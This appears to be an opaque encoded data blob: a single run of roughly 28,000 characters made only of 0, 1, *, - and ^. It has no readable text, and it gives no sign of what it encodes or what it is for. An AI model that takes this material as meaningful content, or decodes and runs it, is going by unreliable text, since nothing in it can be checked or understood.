1***0-*0-*00-1^110101*10-1***01^1*********01**0^101*10101***0-*0-*001^^110101*^1101***1^1*********01**1*101*0^1***0-*0-*001011*110101*-*1***1^1*********01***0101*0-***00-*0-**1*001*01*-00-**001^1*********01**-^1*101****-*0101**1101^10101*101*101**001^-********01**010^1*1011***00-*0101*001*001010101*1*001*01*0011*01********01**010^1*011****-**1*00110-1010101*110^10^1*001^-********01**^^1*--***-*001**^^10^11*1*0011*11*011*01********01**^^1*011011***-*0-*00^-1010101*-011***01^1*********01***^1*011011***-*0101**1101^10101*101*101**001^-********01**11*01*0-1***0-*0101*001*001010101*10-01*01*0011*01********01**11*01*-01***0-**1*00110-1010101*110^10^1*001^-********01**11*01**01***0-*001**^^10^11*1*0011*11*011*01********01**11*01*-****-*0-*00-1011010101*-011***01^1*********01**01*01******-*0-**0^11010101*101^1***1^1*********01****1*00-1***-*0-*001101101010101*1101101***1^1*********01**--*0011011***-*0-***101*001*-1*1**001^1*********01**0-11*0^-***-*0011**0^10110101*-^1***1*^1********01**00-1*0110-***-*0-*00101*101*1*10110-**001*^1********01**^-******0-*001**-0^110101*^^1***1*^1********01**1^11*0101101***-*0101**1101^10101*101*101**001^-********01**0-01*00-11***-*0101*001*001*001*^1*1*1*0011*01********01**0-01*0-011***-**1*00110-1010101*110^10^1*001^-********01**0-01**0011***-*001**^^10^11*1*0011*11*011*01********01**0-01*001^1***-*0-*00110^1010101*^^1***1*^1********01**-001*01^1***0-*0-*00101*1010101*^1101***1*^1********01**11*1*0^11***0-*0101**1101^10101*101*101**001^-********01**10-*00--***-*0101*001*001010101*-011*001*0011*01********01**10-**00-***-**1*00110-1010101*110^10^1*001^-********01**10-*001*11***-*001**^^10^11*1*0011*11*011*01********01**10-**00101***-*0-*00^-0010101*101^1***1^1*********01**00-**1101***0-*0-***1^10101*110-***01^1*********01**11011*00^1***00-*0-*0010^^10101*^1101***1^1*********01**^11**10-***-*0-*00^11**01*1011*1**001^1*********01***11*001*11***-*0-*00-1*01*1*0-*1**001^1*********01**-01*00101101***-*0-**01*0010101*11*01***1^1*********01**01101*00^101***-*0011*00^--0101*10-1***01^1*********01**10101***1***0-*0011**0010-1*1*1010-1**001^1*********01**00101**01****-*0101**1101^10101*10-01***1**1********01***01*0010101***0-*0101*00--11*01*-00-**001**1********01**0011**00101***0-*0011**1*-10101*101011***01**1********01**-***0-***-*0101**1101^10101*101*101**001^-********01**011**00-1***0-*0101*001*001010101*-^1*01*0011*01********01**011**0-01***0-**1*00110-1010101*110^10^1*001^-********01**011***001***0-*001**^^10^11*1*0011*11*011*01********01**011**0011****-*0011*00-01011*01*1011*1**001^1*********01**101***11***00-*0011*00^-1010101*-^1***1^1*********01**001**0^1***00-*0011**01^-0101*1*001***1^1*********01**01**0010-1***-*0101**1101^10101*101*101**001^-********1**010--*^1***0-*0101*001*001*001*-1*1*1*0011*01********1**010--001101***00-**1*00110-1010101*110^10^1*001^-********1**010--*01****-*001**^^10^11*1*0011*11*011*01********1***--*10-***-*0011*0011*0-0101*-*1***1^1*********1**0110-1^^101***-*0011**1101101*01*-1*1**001^1*********1**0010-11*1*1***-*0011**011010110101*-011***01*^1********1**0^-11*001***00-*0011**0^101*01*-00-**001*^1********1**00110-^^-***-*0101**1101^10101*101*101**001^-********1**010110-*0011***0-*0101*001*001010101*110-*001*0011*01********1**010110-001*1***0-**1*00110-1010101*110^10^1*001^-********1**010110-*101***00-*001**^^10^11*1*0011*11*011*01********1**010110-*****00-*0101**1101^10101*101*101**001^-********1**001^-00-011***-*0101*001*001010101*1*001*01*0011*01********1**001^-**11***-**1*00110-1010101*110^10^1*001^-********1**001^-00^101***-*001**^^10^11*1*0011*11*011*01********1**001^-00-11***0-*0011**110^1*01*-1*1**001^1*********1**010^-001101***00-*0011*001101*110101*-011***01^1*********1***^-*11****-*0011**1*00110101*^^1***1^1*********1**011*-00101****-*0101**1101^10101*101*101**001^-********1**0-1101^1011***00-*0101*001*001010101*101*1*01*0011*01********1**0-11011*11****-**1*00110-1010101*110^10^1*001^-********1**00-101^--***-*001**^^10^11*1*0011*11*011*01********1**00-1011*11011***-*001**101*10^11*010-01*11*1*^1********1**010-01^1*11***-*0011*00^-1010101*1101101***1^1*********1***-011*10101***-*0011*001101011010101*-011***01^1*********1**011011011*0^1***-*001**1101101010101*101^1***1^1*********1**0^11011*11****-*0011**1*1101*1*1010-1**001*^1********1**00110101^1*1***0-*0101**1101^10101*101*101**001^-********1**00-0011*0-1***-*0101*001*001010101*101011*001*0011*01********1**00-001^101011***-**1*00110-1010101*110^10^1*001^-********1**00-0011*-01***-*001**^^10^11*1*0011*11*011*01********1**00-001^10^1***-*0011*00^1101*001*-00-**001^1*********1**0101^1^1*01***-*0011***101010101*^1101***1^1*********1***1^11*0-***0-*0101**1101^10101*101*101**001^-********1**01*001^10-1***-*0101*001*001010101*-011*001*0011*01********1**01*0011*11011***-**1*00110-1010101*110^10^1*001^-********1**01*001^-101***-*001**^^10^11*1*0011*11*011*01********1**01*001^10^1***-*0011**01*1010101*^-***01^1*********1****011*0011***0-*0011*00^-0010101*--***01^1*********1**0--01*011***00-*001**^^10^11*1*0011*11*011*01********1**0--01*001***00-*0011*0011010^10101*-011***01**1********1***0-01**11***-*0101**1101^10101*101*101**001^-********1**0-01101*1****0-*0101*001*001010101*1*001*01*0011*01********1**00110110^110-***-**1*00110-1010101*110^10^1*001^-********1**001101101*01011***-*0011*0010-*10101*11*01***1^1*********1**01010110^1*11***-*0011**0101*1*1*1010-1**001^1*********1***10110^1*01***-*0011*001011*010101*101011***01**1********1**01^1101**01***-*0011*00101***1*1101*1**001**1********1***001101*1^1***-*0101*00---0101*1*001***1**1********1**0-1010^^1***00-*0101*001^-110101*--***01**1********1**00101010^1*11***-*0101**1101^10101*101*101**001^-********1***01010^1^11***-*0101*001*001010101*101011*001*0011*01********1***010101*01101***-**1*00110-1010101*110^10^1*001^-********1***01010^10^1***-*001**^^10^11*1*0011*11*011*01********1***010101*0-***0-*0101**0010-10101*110-***01^1*********1**0-0010^-01***0-*0101*0010-0-0101*10-1***01^1*********1**001^10^1011***00-*0101*001^10-0101*^^1***1^1*********1**010^10^^1***00-*0101**00^11*01*-00-**001^1*********1***^101*****00-*0101**0-1011*1*10110-**001^1*********1**001*101*-11***-*0101**^110110101*10-01***1^1*********1**01*0101*11011***-*0101*00-0010110101*^1101***1^1*********1****101*11011***-*0101***0101*01*-1*1**001^1*********1**0-1^^10-1***-*0101*001010^110101*101011***01^1*********1**00-^^1101***00-*0101**1101^10101*101*101**001^-********1**01101^^-11***0-*0101*001*00101*1*0-*1*1*0011*01********1**01101^1*0011***0-**1*00110-1010101*110^10^1*001^-********1**01101^^1*1***0-*001**^^10^11*1*0011*11*011*01********1**01101^^-****-*0101*001101*110101*1101101***1^1*********1**00101^1*001***00-*0101****110101*10-1***01^1*********1***01^^110-***-*0101*001010-010101*^-***01^1*********1**0-0^1*10-***-*0101**-011010101*-^1***1^1*********1**00110^1*01011***-*0101**1101^10101*101*101**001^-********1**01101*1*0-***0-*0101*001*00101*1*0-*1*1*0011*01********1**01101*^10101***0-**1*00110-1010101*110^10^1*001^-********1**01101*1*-***00-*001**^^10^11*1*0011*11*011*01********1**01101*1*01****-*0101**0^11*001*1101*1**001^1*********1**00101*1*01****-*0101*001101101010101*^^1***1^1*********1**0^1*1*011***00-*0101***101010101*101^1***1^1*********1***01*1*****00-*0101**1101^10101*101*101**001^-********1**0101*01*10101***-*0101*001*001010101*--*001*0011*01********1**0101*0^11*1***-**1*00110-1010101*110^10^1*001^-********1**0101*01*0-***0-*001**^^10^11*1*0011*11*011*01********1**0101*0^1*1***0-*0101**11*1010101*1*001***1^1*********1***1*01*0101***0-*0101**1101^10101*101*101**001^-********1**001*00^-01***0-*0101*001*001010101*--*001*0011*01********1**001*001**1***0-**1*00110-1010101*110^10^1*001^-********1**001*00^^1***00-*001**^^10^11*1*0011*11*011*01********1**01**1*-11***-**1*00110-1010101*110^101011*0011*11*******************-*0101**1101^10101*101*10101**11*11*******************-*0101*00^10^10101*1*001***1^1*********1**01**1*01****-*0101*00-11*10101*-011***01^1*********1**0--1*10-1***-*001**^^10^11*1*0011*11*011*01********1**0--1*^-***-*0101**0101**01*1101*1***110^1********1***10-*00-***0-**1*00-^10^11*11*-1**0011*11**0011***************00-*0101**001*0^11*-010-**0011*11**0011***************00-**1**01*01^11**010-**0011*11**0011***************00-**1*0010101^^11*1*0011*11*011*01**0011***************00-**1**0--10101*-011***01^1*********1**01^-*01101***0-**1*001010-110101*10-1***01^1*********1**00^-**01***0-*001**^^10^11*-*11***01*11********1**01*-**11***0-**1*0010110-^11*10110-***01*11********1***11011*011****-*001**^^1010101*101011***0011*01********1**01101011*^1***00-*001**^^1010101*110^1***011*01********1**00101011*0-***00-*001**^^10^11*1*0011*11*011*01********1**00101011*001****-**1*00-00-10101*^1101*01*0011*01********1**0-0011*011011***-**1*00-00-10101*-*1*01*0011*01********1**010^11**001***-**1*00-110-0101*^1101**^1*^1*****1*************00-**1*00^110-0101*101*1**^1*^1*****1*************00-**1**0101011*01*-00-*00^1*^1*****1*************00-**1*00110^-0101*-*1***1^1*********1***^11*-01***0-**1**-110110101*^-***01^1*********1**011*11*-****-**1*001^110110101*110^1***1^1*********1**001*11*101****-**1*001011010110101*^1101***1^1*********1**01*011*11****0-**1**1^10110101*101*1***1^1*********1****11*001****-**1*001^-010101*101^1***1**1********1**00-101*00^1***-*001**^^1010101*101011***0011*01********1***-01*0-01***-*001**^^1*001*^1*1***11*01********1**01101101*001****-*001**^^10^11*1*0011*11*011*01********1**00101101*^101***-**1**-011*001*-1*1*1*01**1********1**00101101*01*1***-**1**10101101*1*1010-1*1*0011*01********1**00101101*11011***0-**1**0-00110101*110-***01^1*********1**0^1101*-01***0-**1*001*^11*1*0-*1**001^1*********1***01101*1011***00-**1**101*110101*--***01^1*********1**0-0101******-**1**01*0110101*-*1***1**1********1**01*101*-11***0-**1*00--1*001*^1*1**001**1********1**0-^1*0-***00-**1*00110-**1*-1*1**001**1********1**010^1*010-***0-*001**^^1010101*11*01***1**1********1**01*01*00-***00-**1*00110-1010101*^^1***1**1********1**00-1**1^1***-**1*001^-010101*110^1***1**1********1***-*00^11***0-*001**^^1010101*-^1***011*01********1**001011**0-1***-*001**^^101*1*10110-***11*01********1**0^11*00-01***0-*001**^^10^11*1*0011*11*011*01********1***011***01***-**1**101011*001*1011*1*1*0011*01********1***011*00-01***0-**1**101011010101*^-*001*0011*01********1***011*0011****0-**1**101011010101*^1101*01*0011*01********1**0-01*00-011***-**1**101011010101*101^1*01*0011*01********1**0-01**1*1***-**1**-01101*1*10110-*1*01**1********1**0-01*0011011***0-**1**101011010101*101011*001*0011*01********1**0-01**0101***0-**1*0011*110^11*11*-1**0011*11**0011***************00-**1**1101010^11*-010-**0011*11**0011***************00-**1**0011*^11**010-**0011*11**0011***************00-**1*0010101^^11*1*0011*11*011*01**0011***************00-**1*00-^10^11*11*-1**0011*11**0011***************00-**1**1*010^11*-010-**0011*11**0011***************00-**1*00110-00^11**010-**0011*11**0011***************00-**1*0010101^^11*1*0011*11*011*01**0011***************00-**1*00-^10^11*11*-1**0011*11**0011***************00-**1**1*010^11*-010-**0011*11**0011***************00-**1*00110-00^11**010-**0011*11**0011***************00-**1*0010101^^11*1*0011*11*011*01**0011***************00-*011**01*-10101*^1101**^1*^1*****1*************00-**1***1^10101*-011**0^1*^1*****1*************00-**1**00101**1*-00-*00^1*^1*****1*************00-**1*00-11*10101*101*1**^1*^1*****1*************00-*001**^^10^11*-*11***01*11********1**010101*00110-***-*001**^^1010101*110-***0011*01********1***101**1011***0-*001**^^1*001*1011*1***11*01********1**00^1**1****0-**1**0011*10101*101*1***1**1********1**01011**01101***0-**1**^1*10101*110^1*01*0011*01********1**01101**0101***00-**1**^1*10101*-*1*01*0011*01********1**0^1**01****0-**1**011*010101*--*001*0011*01********1**0-**011****0-**1**011*010101*10-1*001*0011*01********1**0101*******0-*001**^^10^11*1*0011*11*011*01********1***1***1011***-**1**1**10101*110-***01^1*********1**011**00110101***-*011**^--0101*101^1***1^1*********1**001***1011***0-*011**0-0-10101*110^1***1^1*********1**01***-01***0-*001**^^10^11*1*0011*11*011*01********1**01***1^1***0-*011**-00-*01*1101*1*00^1*^1*****1*************00-*011**01*-1*1*1010-1*00^1*^1*****1*************00-*011**0-10-0101*^1101***0110^1***********10-1^11011***0-*011**0-10-0101*^^1***0110^1***********110-^1****00-*011**0-1011*01*1011*1***110^1***********010-^-1***00-*011**0-1011*01*^1*1***110^1***********^-1*10101***-*011**0-10-0101*-^1***0110^1**********001*-1*****00-*011**0-10-0101*1*001***0110^1**********0010110-*0-1***-*001**^^10^11*1*0011*11*011*01**********0010110-*00-***-*011**010110-0101*^^1***0110^1***********0110-001011***00-*011**010110-0101*^-***00110^1**********0011010-0010101***0-*011**101010-*1*10110-***110^1***********1010-00-01***0-*011**0-00-0101*1*001**^1*^1*****1*************00-*001**101*10^11*010-01*11*1*^1***********1010-*011***00-*011**-*11*01*^1*1**001^1***********00^10-*101***00-*011**00-1011*1*1010-1**001^1************0010-0011****0-*011**1^110110101*-^1***1^1***********00-00-*****00-*011**10^10110101*^-***01^1***********0010^-*-11***-*011**-1^110101*-*1***1^1************0^-*-01***-*011**1*^11*1*10110-**001^1***********0011*-00^11***0-*011**0011*110101*110-**01*110^1*****1*************00-*011**-*0110101*1101101***0110^1**********00-0101^110101***-*011**-0-010101*1*001**1*110^1*****1*************00-*011**1011011010101*--**01*110^1*****1*************00-*011**00^11010101*1*001**1*110^1*****1*************00-*011**^1101010101*101011**01*110^1*****1**************11*011**0^101010101*101*1**1*110^1*****1**************11*011**110^1010101*10-01**1*110^1*****1**************01*011***-0010101*-011**01*110^1*****1**************01*011**1^1^10101*110^1**1*110^1*****1**************01*011**-00^10101*101^1**1*110^1*****1*************0-*0011**^11*1*1*0-*1*001*110^1*****1*************0-*0011**00101*1*1*1010-1*001*110^1*****1*************0-*0011**1011*01*1*1010-1*001*110^1*****1*************0101*0011**11**10101*11*01**1*110^1*****1*************011**01**^-11*01*1101*1*001*110^1*****1*************011**01**1^-11*1*0-*1*001*110^1*****1*************011**01**0-0-*01*1101*1*001*110^1*****1*************011**01**10^-10101*110-**01*110^1*****1*************011**01**1*0-10101*101^1**1*110^1*****1*************011**01**101*10^11*010-01*11*1*^1***********^101^--**0011**01**^^10^11*1*0011*11*011*01***********^101^110-**0011**01**101*101*1*10110-***110^1**********00-^11**11**0011**01**001010-*1*10110-**001^1************-001^11011***11**01**010^-0101*1101101***1^1***********00101^1^10101***11**01**--01*01*1101*1**001^1************01^11*-***011**01**0110110110101*101011***01^1***********00110^1^-***0011**01**0011010110101*101*1***1^1***********00^^11*00-**0011**01**00^10110101*10-01***1^1************00^11*^11**0011**01**00-00110101*110-***01^1***********00-*11*1011***11**01**^^10^11*1*0011*11*011*01**********00-*11*1101***01**01**-0^110101*1*001***1*^1***********01*1^-011**001**001**-0^110101*-*1***1*^1**********0010-10^^-**001**001**1^^110101*110^1***1*^1**********00-0110^1*11**001**001**101*1010101*-*1***1*^1**********001^1101*01101**001**001**101*1010101*--***01*^1************1101*-1***1**001**101*1010101*10-1***00110^1***********011010^-001**001**001**0-*110101*^^1***0110^1**********00^10101*-01**001**001**-*0110101*^-***00110^1***********0010101*00101**001**001**101*10^11*010-01*11*1*^1**********00-0010^11*1**001**001**--1010101*101^1***1^1************1^10^1^1***1**001**0010-010101*^1101***1^1***********0010^101*001***01**001***1011010101*-^1***1^1************0^101*001***01**001**01*1101*1*1010-1**001^1***********0011*101*01***001**001**1101101010101*1*001***1^1*************010^1*11**001**001**101*1010101*110^1***0110^1***********0-00^-101**001**001**101^1010101*1*001***1*^1**********001101^^101011**001**001**^^10^11*1*0011*11*011*01**********001101^^1*11**001**001**101*101*1*10110-***110^1**********00^1^^^101**001**001**101*10^11*010-01*11*1*^1***********001^1*110-0011*10^110^11**01101**001^1*^11**00110^11*01^101**001^1*^11*11011010^11*00-001**001^1*^11*01101010^11*0^^1**001^1*^11*1*1010^11*^1*1**001^1*^11*1*1010^11***01**001^1*^11*001^10^11*-0-***1^1*^11*-*10^11*1011011***1^1*^11*01*010^11*11*11***1^1*^11*10-^^11*^1101***1^1*^11**-00^11*-^1***1^1*^11*1^1^^11*101*1***1^1*^11*0-0^^11*110-***01^1*^11*^10^^11*1*11***01^1*^11*00^^^11**101***01^1*^11*-11*^11*-11***001^1*^11*01011*^11*01101***001^1*^11*10101*^11*0011****1^1*^11**01*^11*01****001^1*^11*1101**011*^-11**001^1*^11*011**0011**0-1**001^1*^11*1***011*-00-**001^1**11*00--*11*0-1011**001^1**11*-0-1*11*00101011**001^1**11*0^-1*11*110^11**001^1**11*10110-*11*01*011**001^1**11**10-*11*^-01**001^1**11*11*-*11*-10101**001^1**11*0-1011*11*01^101**001^1**11*^11011*11*10-001**001^1**11*^11011*11*0010^1**001^1**11*00101011*11*1101*1**001^1**11*-^11*11*01*001**001^1**11*010^11*11*^-1***1^1**11*010^11*11**0-***1^1**11*101*11*11*-0011***1^1**11***11*11*10-01***1^1**11***11*11*1^101***1^1**11*110-01*11*^^1***1^1**11*110-01*11*--***01^1**11*01101101*11*101011***01^1**11*1*1101*11*001101***01^1**11*00110101*11*01*1***01^1**11*-00101*11**11***001^1**11*01*101*11*-1****1^1**11*10-001*11*011****01^1**11*10-00-101*10--**001^1**11**1^-101*0010-1**001^1**11**1^-101*11010-**001^1**11**1^-101*01*-**001^1**11**1^-101*^11011**001^1**11*1^^-101**01011**001^1**11*1^^-101*-*11**001^1**11*0-*-101*0-1101**001^1**11*^1*-101*10101101**001^1**11*^1*-101*00110101**001^1**11*001*0-101*01*101**001^1**11*--10-01*^1^1**001^1**11*010-10-01*-1*1**001^1**11*1010-0-01*011*01**001^1**11**0-0-01*10-11***1^1**11**0-0-01*0010-***1^1**11*11010110-01*1101011***1^1**11*01^110-01*1*011***1^1**11*01^110-01*-0101***1^1**11*01^110-01*101^1***1^1**11*01^110-01*11*01***1^1**11*1*0110-01*^-***01^1**11*00-010-01*-101***01^1**11*00-010-01*10^1***01^1**11*00-010-01*11011***001^1**11*00-010-01*1*1***001^1**11*-01010-01*-****01^1**11*-010^1101*10--**001^1**11*0^10^1101*1^-1**001^1**11*101^^1101*01010-**001^1**11**^^1101*1*0-**001^1**11*11*0^1101**11011**001^1**11*0-11*1101*-^11**001^1*01101*1**101101*011*11***1101**11*^-*1101*1*0011**001*1**11*001011*1101*00-1011**01^1**11*-101*1101*^-01**001*1*01101*00^-01101*00101101**001*1**11*010101*1101**001011**01^1**11*01*1*1101*0011*1**001^1**11**11*01101**-101**01^1**11*10-*01101*00^1101**01^1**11**11*01101**010101**01^1**11*1^1*01101*00-^1**01^1*01101*1**101101*001011***01**001101*001*0101101*0-01***01**001101*001*0101101*01^1***01**001101*001*0101101*-01***001**001101*001*0101101*1011****1*1*01101*1101*110101*1*10^11**11**1101*001*0101101*11****001*1*01101*1101*110101*^-11**001*1*-01**01^10101*-10-**001*1*01101*1101*110101*10^-**001*1*01101*011010-0101*11011011**001*1*01101*010-1010101*1*1011**001*1*01101*0110^110101*-*11**001*1*01101*0110^110101*10-101**001*1*01101*00^-10101*1^1101**001*1*01101*00^-10101*^10101**001*1*01101*00^-10101*-1^1**001*1*01101*00^-10101*1010^1**001*1*01101*001*0110101*1101*1**001*1*01101*001*0110101*1**1**001*1**11*-1*010101*-0-***1*1**11*0101*010101*110^101**01^1**11*101*0010101*-*101**01^1**11***0010101*10-^1**01^1**11***0010101*--001**01^1*-01**01^10101*110110101**01^1**11***0010101*10-0101**01^1*-01*0110-110101*--001**01^1*-01*110-11*01*^1*11**01^1*-01*0110-1*01*-00-1**01^1*-01*0110-110101*-^101**01^1*-01**011**1*-1*11**01^1*-01*1*-110101*110-001**01^1*01101*1101*110101*101*101**01^1*-01*00110-10101*1*00101**01^1*-01*-00-10101*^-001**01^1*01101*010110-0101*101011***01*11*1101*010110-0101*--***01*11*1101*010110-0101*11*01***1*1^-01*01*-10101*-011***101101010-01*01*-10101*^-***101101010-01*01*-10101*101*1**00101101010-01*01*-10101*10-1***101101010-01*01*-1*1*10110-**0101101010-01*01*-10101*1*001**00101101010-01*01*-1*1*0-*1**0101101010-01*01*-10101*^^1**00101101010-01*01*-10101*110-***101101010-01*01*-10101*110^1**001011010^1101*1101*110101*1*10^11**11*00-01*10-0-0101*10-01**00101101010-01*10-0-0101*110-***1011010^1101*1*010110101*1*10^11**11*00-01**11011*01*^1*1**0101101010-01**110-0101*101^1**00101101010-01**110-0101*1*001**00101101010-01**110-0101*101*1**00101101010-01**110-0101*-^1**00101101010-01**110-0101*11*01**00101101010-01**110-0101*^1101**00101101010-01**11011*01*1011*1**0101101010-01**110-0101*10-1***101101010-01**11011*01*-00-**0101101010-01**110-0101*^^1**00101101010-01**110-0101*-011***101101010-01**110-*1*0-*1**01011010^1101*1*010110101*1*10^11**11*00-01*1^1011*01*-1*1**0101101010-01*1^10-0101*^1101**00101101010-01*1^10-0101*101^1**00101101010-01*1^10-0101*101*1**00101101010-01*1^10-*1*1010-1**01011010^1101*1101*110101*1*10^11**11*00-01*0-00-0101*110-***101101010-01*0-00-0101*-*1**00101101010-01*0-00-0101*1101101**00101101010-01*0-0011*01*-00-**0101101010-01*0-00-0101*101*1**001011010^1101*1*010110101*1*10^11**11*00-01*^^-0101*-011***101101010-01*^^-0101*--***101101010-01*^^-0101*1101101**00101101010-01*^^-0101*11*01**00101101010-01*^^-0101*101*1**001011010^1101*1*010110101*1*10^11**11*00-01*001*-0101*110-***101101010-01*001*-0101*-^1**00101101010-01*001*-0101*^^1**00101101010-01*001*-0101*110^1**00101101010-01*001*-0101*--***101101010-01*001*-0101*1101101**00101101010-01*001*11*01*1011*1**0101101010-01*001*11*01*-00-**0101101010-01*001*-0101*^1101**001011010^1101*1*010110101*1*10^11**11*00-01*--0110101*101^1**00101101010-01*--0110101*110-***101101010-01*--01*01*^1*1**0101101010-01*--0110101*^1101**001011010^1101*1101*110101*1*10^11**11*00-01*010-0110101*101^1***011**1101*1*0101*01*1101*1***11**1101*0110^110101*110-***0011*00-01*10-*10101*^-***0011*00-01*-0110110101*^-***0011*00-01*-0110110101*--***0011**1101*1*010110101*101^1***011**1101*0110^11*1*1010-1**001**0-01*10-*10101*1101101***011*00-01*10-*10101*1*001***011**1101*1101*1*01*1011*1***11**1101*1**1*01*-1*1***11**1101*1101*110101*1*001***011**1101*1**110101*10-01***011*00-01*1011010110101*-^1***1**0-01**1010110101*101^101**01^1*01101*010110-0101*11*01***1*11*1101*010-1010101*--***01*11*1101*010-1*001*-00-**001*11*1101*1*0101*01*^1*1**001**001101*1**110101*101*1***1**0-01*11*10110101*110^101**01^1*01101*010-1*001*-00-**001*11*1101*010-101*1*0-*1**001*11*1101*010110-0101*--***01*11*1101*00^-10101*-011***01**0-01*-1*110101*1*001***1**0-01*0-^110101*^^1***1**0-01*0010^110101*-*1***1**001101*^1^110101*110^1***1**0-01*-1*110101*0010-**00101101010-01*-1*110101*1*-**00101101010-01*-1*110101*0-011**00101101010-01*-1*110101*1101011**00101101010-01*-1*110101**1011**00101101010-01*-1*110101*10^11**00101101010-01*-1*110101*01*11**00101101010-01*-1*110101*-1101**00101101010-01*-1*1*01*1*^1**0101101010-01*-1*110101*^^1**00101101010-01*-1*1*01*-1*1**0101101010-01*-1*110101*10-1***101101010-01*-1*110101*10-01**00101101010-01*-1*110101*101^1**00101101010-01*-1*110101*1*001**00101101010-01*-1*1*01*1101*1**0101101010-01*-1*110101*110-***101101010-01*-1*110101*^1101**00101101010-01*-1*110101*^-***101101010-01*-1*1*01*-00-**0101101010-01*-1*110101*-011***101101010-01*-1*11*1*1010-1**0101101010-01*-1*110101*110^1**00101101010-01*-1*1*01*^1*1**0101101010-01*-1*110101*-*1**00101101010-01*-1*11*1*10110-**0101101010-01*-1*110101*1101101**00101101010-01*-1*110101*11*01**00101101010-01*-1*110101*--***101101010-01*-1*110101*101*1**00101101010-01*-1*110101*-^1**00101101010-01*-1*11*1*0-*1**0101101010-01*-1*1*01*1011*1**0101101010-01*-1*110101*101011***101101010-01*10-*10101*1*10^11**11*00-01*1101*110101*^-***01^1*-01*011*0110101*110110101**01^1*01101*00^-*01*-00-**001^1*-01*1**110101*1*00101**01^1*01101*00^-10101*10-1***0011**1101*1**110101*-*1***011**1101*1**110101*^^1***011**1101*1**110101*^-***0011*00-01*00-11010101*-^1**00101101010-01*00-11010101*110^1**00101101010-01*00-11010101*101*1**001011010^1101*1101*110101*1*10^11**11*00-01*-0-010101*11*01**00101101010-01*-0-010101*101011***101101010-01*-0-*001*1101*1**0101101010-01*-0-010101*101*1**00101101010-01*-0-010101*10-01**00101101010-01*-0-010101*10-1***101101010-01*-0-010101*-011***101101010-01*-0-010101*^1101**00101101010-01*-0-010101*^^1**00101101010-01*-0-*001*-00-**0101101010-01*-0-01*1*0-*1**0101101010-01*-0-010101*1*001**00101101010-01*-0-010101*-*1**00101101010-01*-0-*001*^1*1**0101101010-01*-0-*001*-1*1**0101101010-01*-0-01*1*10110-**01011010^1101*1101*110101*1*10^11**11*00-01*0^-010101*1*001**00101101010-01*0^-*001*-1*1**0101101010-01*0^-010101*-011***101101010-01*0^-010101*--***101101010-01*0^-010101*1101101**00101101010-01*0^-010101*11*01**00101101010-01*0^-010101*101*1**001011010^1101*1101*110101*1*10^11**11**1101*1101*110101*-011***0011**1101*0110^1*01*-00-***11**1101*1**110101*101011**1*011**1101*1101*11*1*0-*1***11**1101*1101*110101*-^1***011**1101*1101*11*1*10110-***11**1101*1101*1*01*1011*1***11*00-01**01^10101*1*001***011**1101*1101*11*1*0-*1***11**1101*1101*1*01*^1*1***11**1101*0110^110101*1101101***011**1101*1101*110101*11*01***011**1101*0110^1*01*1011*1***11**1101*1101*110101*10-01***011**1101*0110^1*01*-00-***11**1101*1101*1*01*-00-***11**1101*0110^110101*^1101***011**1101*1101*110101*10-1***0011**1101*1101*11*1*1010-1***11**1101*1101*1*01*1101*1***11**1101*1**110101*^1101*001*011**1101*1*010110101*-*1***011011*1101*1101*110101*^^1***011011*1101*1101*110101*101^1***011011*1101*1**110101*10-01***011011*1101*1**1*01*1101*1***11011*1101*1**110101*^-***0011011*1101*1**11*1*0-*1***11011*1101*1**110101*11*01***011011*1101*1**110101*10-1***0011011*1101*1**1*01*-1*1***11011*1101*00^-10101*110^1***011011*1101*1*010110101*1101101**001011010^1101*1*0101*01*-00-**01011010^1101*1*010110101*101*1**00101101010-01**011**1*-00-**001**0-01*1011011*001*-00-**001**0-01*1011011*001*1101*1**001**001101*^1^110101*^-***01**001101*1**110101*-^1***1**001101*1**110101*1*001***1**0-01**1011010101*101^1***1**001101*1101*110101*--***0011**1101*00^-10101*101*1***011*00-01*11*11*001*1101*1***11**1101*1101*110101*-*1***1**001101*1101*110101*1*001***1**001101*00^-1*1*1010-1**001**001101*1*010110101*1*001***1**001101*1101*110101*-011***01**001101*00^-10101*^1101***1^1*-01*0-101010101*110^101**01^1*01101*00^-10101*^^1***1^1*-01*^1101010101*11*0101**01^1*01101*00^-1*1*0-*1**001**0-01*-^101*1*1010-1**001**001101*1101*1*01*1101*1**001**0-01*010^1010101*110-***01**0-01*010^1010101*110-***101101010-01*010^1010101*1101101**00101101010-01*010^1010101*110^1**00101101010-01*010^101*1*1010-1**0101101010-01*010^101*1*0-*1**0101101010-01*010^1*001*1101*1**01011010^1101*1101*110101*1*10^11**11*00-01*01*01010101*101^1***1**001101*1**11*1*10110-**001**001101*1**110101*10-1***01*1^-01*10-1**1*-00-1**01^1*01101*010-1*001*^1*1**001*11*1101*010-1010101*--***01*11*1101*010110-0101*110-***01*11*1101*1**11*1*10110-**001**001101*1**110101*1*001***1**001101*1**110101*-^1***1**001101*001*0110101*^^1***1**001101*1**110101*^-***01**001101*1**110101*11*01***1**001101*1**110101*^^1***1**001101*001*0110101*^-***01**0-01**01^10101*110^1***1**001101*1**11*1*10110-**001**0-01*1^1^10101*101^1***1*1^-01**00^10101*110^1***011*00-01**011**1*1101*1***11**1101*1**110101*^1101***011*00-01**01^10101*101011***0011**1101*1**110101*^-***0011**1101*1**110101*1101101***011**1101*1**110101*-*1***011*00-01**01^10101*1*001***011*00-01**01^10101*11*01***011*00-01**01^10101*-011***0011*00-01*01010^1*1*10110-**001**0-01*00^^10101*10-01***1**0-01**001**1*^1*1***11**1101*00^-10101*101011***01*0^-01*10-*10101*-^1***1*01*1101*0-^1*01*-1*1**001*01*1101*00^-10101*1*001***1*0^-01*-1*010101*110-***01**001101*1**110101*101*1***1**001101*001*0110101*-011***01**001101*1**110101*--***01**001101*1**110101*101011***01**0-01*101*0010101*--***001101*-01*101*0010101*101011***001101*01101*1**110101*-011***01*11*1101*1**110101*1*001***1*11*1101*1**110101*101*1***1**001101*1**1*01*1101*1**001**001101*1**11*1*1010-1**001**001101*1**11*1*0-*1**001**001101*110--*1*0-*1**001**001101*0^-110101*--***01**001101*1**110101*--***01**001101*1**110101*-*1***1**001101*1**110101*1*001***1**001101*00^-*01*1101*1**001^1*01101*10110-10101*10101^1**01^1*01101*1**110101*^^1***1**001101*1**110101*10-01***1**001101*1**110101*10-01***1**001101*1**110101*-*1***1**001101*1**110101*1101101***1**001101*1**11*1*1010-1**001**001101*1**110101*^1101***1**001101*1**110101*-^1***1**001101*1**110101*11*01***1**001101*1**110101*110-***01**001101*1**1*01*^1*1**001**001101*1**1*01*1101*1**001**001101*1**110101*-011***01**001101*1**110101*10-1***01**001101*1**110101*-^1***1**001101*1**1*01*^1*1**001**001101*1**110101*11*01***1**001101*1**110101*^1101***1**001101*011010-01